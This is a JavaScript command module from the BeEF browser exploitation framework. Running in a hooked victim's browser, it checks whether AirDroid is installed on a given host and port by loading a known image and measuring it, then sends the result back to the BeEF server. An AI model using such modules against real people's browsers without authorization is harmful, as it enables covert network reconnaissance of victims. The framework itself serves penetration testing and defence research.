Path: blob/master/modules/host/detect_airdroid/command.js
1154 views
//1// Copyright (c) 2006-2025Wade Alcorn - [email protected]2// Browser Exploitation Framework (BeEF) - https://beefproject.com3// See the file 'doc/COPYING' for copying permission4//56beef.execute(function() {78var result = "Not Installed";9var dom = document.createElement('b');10var img = new Image;11img.src = "http://<%= @ipHost %>:<%= @port %>/theme/stock/images/ip_auth_refused.png";12img.onload = function() {13if (this.width == 146 && this.height == 176) result = "Installed";14beef.net.send('<%= @command_url %>', <%= @command_id %>,'proto=http&ip=<%= @ipHost %>&port=<%= @port %>&airdroid='+result, beef.are.status_success());15dom.removeChild(this);16}17img.onerror = function() {18beef.net.send('<%= @command_url %>', <%= @command_id %>,'proto=http&ip=<%= @ipHost %>&port=<%= @port %>&airdroid='+result, beef.are.status_error());19dom.removeChild(this);20}21dom.appendChild(img);2223});24252627